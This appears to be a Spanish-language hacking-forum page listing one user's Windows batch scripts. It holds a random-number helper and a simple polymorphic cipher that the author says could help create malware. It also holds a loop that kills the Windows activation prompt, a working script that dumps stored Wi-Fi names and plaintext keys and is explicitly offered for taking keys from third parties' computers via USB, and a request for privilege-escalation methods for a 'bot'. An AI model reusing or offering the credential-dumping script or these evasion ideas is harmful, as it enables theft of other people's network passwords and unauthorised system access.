elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / [BATCH][Aporte] Range.bat (generador de numeros aleatorio dentro de un rango) en: 23 Mayo 2020, 15:20 pm
Es una tonteria pero es muy util para batch, este pequeño script permite invocandolo generar una variable de entorno de nombre N con un rango especifico X-Y

Su sintaxis seria:

Código:
Range "NombreVariable" "max" "min"

Donde "NombreVariable" seria una que nosotros eligieramos y "max" y "min" seria el rango de numeros que querramos manejar

Ejemplo:

Código:
Range resultado 100 1

Estet comando generaria una salida de un munero aleatorio dentro del rango y una varuable de nombre resultado que almacenaria dicho numero generado

Pequeño pero eficaz  ;D

Código:
@echo off
set /a %1=(%RANDOM%*%2/32768)+%3
setlocal enabledelayedexpansion
echo !%1!
exit /b


Esto le da mas juego a la variable %random%
2  Programación / Scripting / [BATCH][Aporte] Minimotor polimorfico Basico en: 22 Mayo 2020, 07:52 am
Saludos gente, e codeado este minimotor polimorfico como experimento para quedarme con el concepto de funcionamiento y esto es lo que me a salido, no se si tendra alguna utilidad pero es curioso cuando menos.


La sintaxis del script seria algo asi


Para generar una cadena cifrada y de X longitud
Código:
poli "cadena de texto"

Para resolver la cadena previamente cifrada
Código:
poli /d "%str%"


El codigo basicamente lo que hace es coger una cadena de TEXTO (solo esta pensado para texto no numeros) y nos devolvera la cadena cifrada y con una longitud variable cada vez que pasa por el script (POLI)

Un ejemplo:

Paso una adena de texto:
Código:
poli "cadena de texto"

Y el resutado sera:
Código:
Cadena Longitud A / encriptacion B

Si repitiera la accion:
Código:
poli "cadena de texto"[code]
Cadea Longitud C / encriptacion D[/code]

Creo que se entiende mas o menos.
El minimotor tiene tres opciones diferentes, eso quiere decir que siempre que se ejecute elegira una de las tres opciones en base a un numero aleatorio ( por eso cada vez que se ejecuta puede variar el resultado)

Esto es lo que me a salido:

Código:
@echo off

set "stb="
set "str="

if "%1" equ "/d" (goto bucle3 "%*" && exit /b)
:main
set "str="
call :bucle2 %random% %*
set str=%str:0=,,%
set str=%str:1=,,,,%
set str=%str:2=,,%
set str=%str:3=,,,,%
set str=%str:4=,,%
set str=%str:5=,,,,%
set str=%str:6=,,%
set str=%str:7=,,,,%
set str=%str:8=,,%
set str=%str:9=,,,,%
set cr=%random:~0,1%
if "%cr%" equ "1" (call :uno && exit /b)
if "%cr%" equ "2" (call :dos && exit /b)
if "%cr%" equ "3" (call :tres && exit /b)
:goto :eof


:bucle2
set b=%random%%random%%random%
set "stb=%2,%b%,,"
set str=%str%%stb%
shift /1
if "%2" equ "" (goto :eof)
goto bucle2

:bucle3
shift
set "p=%1"
if "%p%" equ "1" (call :unod %*)
if "%p%" equ "2" (call :dosd %*)
if "%p%" equ "3" (call :tresd %*)
echo %imp:,= %
goto :eof

:uno
set str=%str:a=+%
set str=%str:e=-%
set str=%str:i=x%
set str=%str:o=/%
set str=%str:u=W%
echo %cr% %str:,= %
set "str=%cr% %str%"
exit /b

:unod
shift
set "imp=%*"
set "imp=%imp:+=a%"
set "imp=%imp:-=e%"
set "imp=%imp:x=i%"
set "imp=%imp:/=o%"
set "imp=%imp:W=u%"
echo %imp:,= %"
exit /b

:dos
set str=%str:a=-%
set str=%str:e=+%
set str=%str:i=/%
set str=%str:o=x%
set str=%str:u=W%
echo %cr% %str:,= %
set "str=%cr% %str%"
exit /b

:dosd
shift
set "imp=%*"
set "imp=%imp:-=a%"
set "imp=%imp:+=e%"
set "imp=%imp:/=i%"
set "imp=%imp:x=o%"
set "imp=%imp:W=u%"
echo "%imp:,= %"
exit /b

:tres
set str=%str:a=W%
set str=%str:e=+%
set str=%str:i=-%
set str=%str:o=x%
set str=%str:u=/%
echo %cr% %str:,= %
set "str=%cr% %str%"
exit /b

:tresd
shift
set "imp=%*"
set "imp=%imp:W=a%"
set "imp=%imp:+=e%"
set "imp=%imp:-=i%"
set "imp=%imp:x=o%"
set "imp=%imp:/=u%"
echo "%imp:,= %"
exit /b


Curioso cuando menos , y creo tiene mucho potencial este tipo de programacion para crear bichos jejejejejeje

Un saludo
3  Programación / Scripting / [Aporte] Sluikiller.bat . Por si tu copia de windows no es original en: 11 Mayo 2020, 22:00 pm
 Este sencillo codigo hace que el molesto aviso de windows para la activacion de la clave (slui.exe) en el administrador se procesos deje de tocarnos lo huevos en el peor momento
cumple su cometido bastante bien

Sluikiller.bat

Código:
@echo off
:cero
tasklist | find /i "slui.exe" && call :uno
ping -n 1 127.0.0.1 >null
goto cero


:uno
taskkill /IM slui.exe
ping -n 1 127.0.0.1 >null
:eof

Ya ni me preocupo de "slui.exe" jejejejeje
4  Programación / Scripting / [BACH][APORTE] Extraer las redes y claves almacenadas en el sistema en: 27 Abril 2020, 14:08 pm
Este pequeño scrupt nos audara a saber las redes wifi y las claves que dispone un sistema windows , ideal para tenerlo en una unidad USB y poder extraer las claves de red que almacena un sistema windows (Solo extrae las redes al que dicho sistema se conecto y almaceno)

Código:
@echo off

for /f "tokens=7,8" %%a in ('netsh wlan show profile') do (echo %%a %%b | find /v "lectura") >> PerfilesWifi.txt

for /f "tokens=*" %%c in ('type PerfilesWifi.txt') do (call :Contraseñas %%c)

:Contraseñas

netsh wlan show profile name=%1 key=clear >> contraseñas.txt

:eof


Una vez ejecutado el script nos creara 2 archivos en el primero nos pondra todas las redes almacenadas en el sistema y el segundo nos dara todas las claves de dichas redes almavenadas , lo mas destacable es que nos las ofrece en texto plano.

Muy util para ajenciarte las claves de ordenadores de terceros de manera automatica

Un saludo.  ;)
5  Programación / Scripting / [AYUDA][Bach] Escalada de privilegios en: 27 Abril 2020, 10:48 am
Saludos a toda la comunidad , soy nuevo en este foro y estoy encantado de que me hayan aceptado.

Estoy intentando crear un bot con cmd y me gustaria saber si existe algun metodo para poder escalar privilegios en windows 10 usando la consola, e investigado por la red pero en todos los metodos que e podido innvestigar intervienen programas externos

Existe alguna manera de poder hacer lo mismo pero solo con lo que nos encontremos en el sistema? Desde que inabilitaron el comando AT no se como hacerlo, si alguien sabe algo del tema que me permita avanzar se lo agradeceria mucho.

Un saludo a todos los bacheros
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines